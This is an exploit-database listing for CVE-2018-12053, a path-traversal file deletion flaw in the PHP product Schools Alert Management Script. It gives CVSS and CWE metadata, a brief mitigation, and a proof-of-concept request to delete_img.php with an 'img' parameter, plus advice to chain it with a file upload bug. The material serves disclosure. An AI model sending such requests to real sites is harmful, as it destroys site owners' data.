header-logo
Suggest Exploit
vendor:
Schools Alert Management System
by:
M3@Pandas
7.5
CVSS
HIGH
Arbitrary File Deletion
22
CWE
Product Name: Schools Alert Management System
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: CVE-2018-12053
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux Mint
2018

Schools Alert Management Script – Arbitrary File Deletion

Attackers can delete any file through parameter 'img' with '../' by exploiting the vulnerability in Schools Alert Management Script.

Mitigation:

Input validation should be used to prevent attackers from deleting arbitrary files.
Source

Exploit-DB raw data:

# Exploit Title: Schools Alert Management Script - Arbitrary File Deletion
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/6
# Tested on: Linux Mint
# CVE: CVE-2018-12053

# Proof of Concept：

/delete_img.php?img=./uploads/school_logos/1528_x1.php
# notice: There is a risk of file deletion，you'd better test it combined with file upload vulnerability.
# Attackers can delete any file through parameter 'img' with '../' .

Navigation

Suggest Exploit

Services By CQR